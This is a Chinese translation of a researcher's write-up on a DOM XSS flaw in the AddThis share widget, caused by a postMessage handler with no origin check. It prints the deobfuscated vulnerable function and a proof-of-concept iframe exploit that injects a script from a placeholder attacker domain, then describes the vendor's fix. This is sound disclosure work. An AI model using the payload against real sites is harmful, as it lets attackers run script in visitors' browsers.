前言
AddThis是一个被超过一百万网站使用的分享按钮。它们都在今年早些被发现有XSS漏洞。
在我上一篇文章(https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/)中我介绍了postMessage API的缺陷。在本篇文章中,我将介绍我是怎样在AddThis中确定和利用这些缺陷的。
当我在测试一个使用AddThis的网站的时候,通过Chrome的开发者工具,我发现它使用了postMessage。
为了看看它们是否有任何漏洞,我在Chrome开发者工具的listener中设置了一个断点,然后发送了一个消息“window.postMessage("hello", "*")“。
检查listener
除了那些orgin必须是HTTP/HTTPS的页面,代码并没有进行orgin检查。消息的预期格式可以在第5364行看到:
|
1
2
|
at-share-bookmarklet:DATA.postMessage |
我继续debug,然后使用正确的格式发送了消息,使代码在5370行结束,调用了名为r的函数。它又调用了另一个名为s的函数。
S函数看起来很有趣。它看起来创建了一个新的元素(难道是DOM XSS?)
反混淆
为了理解这个函数到底干了什么,我通过命名变量和删除多行语句来解除混淆。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
e.exports = function(messageData, t, n, s, u, isTrue) {if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called.var scriptTag = document.createElement("script");if("https:" === window.location.protocol){var isSecurePage = true;}else{var isSecurePage = false;}var protocol = "";var headElement = document.getElementsByTagName("head")[0];scriptTag.setAttribute("type", "text/javascript");scriptTag.setAttribute("async", "async");//Check if user is using Chrome/Safariif(window.chrome && window.chrome.self || window.safari && window.safari.extension){if(isSecurePage){protocol = "https";}else{protocol = "http";}//If the message data starts with "//", add protocol beforeif(0 === messageData.indexOf("//")){messageData = protocol + messageData;}}//If the message data starts with "//"if(0 === messageData.indexOf("//")){scriptTag.src = messageData;}else{scriptTag.src = protocol + "//s7.addthis.com/" + messageData;}headElement.insertBefore(scriptTag, headElement.firstChild);o[messageData] = 1;return scriptTag;}return 1;} |
阅读了这个代码,我得出结论,发送格式化的消息如下:
|
1
|
at-share-bookmarklet://ATTACKERHOST/xss.js |
它将添加一个新的脚本元素到源代码为“//ATTACKERDOMAIN/xss.js”的页面。换句话说,它有DOM XSS漏洞。
POC
攻击者能够攻击任何使用了AddThis的网站(DOM XSS)。我最后的exploit跟下面的这个差不多:
|
1
2
3
4
|
<iframe id="frame" src="https://targetpage/using_addthis"></iframe><script>document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*');</script> |
修复
我和AddThis的CTO接触了一下,他确定漏洞将会被很快修复然后推送到终端用户。修复增加了orgin检查以确保任意来源的消息不会被发送。
总结
总而言之,postMessage能够导致DOM XSS。如果你使用了第三方脚本,确保一定要检查它们和它们的postMessage实现。
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/
如果此文章侵权,请留言,我们进行删除。0day



文章评论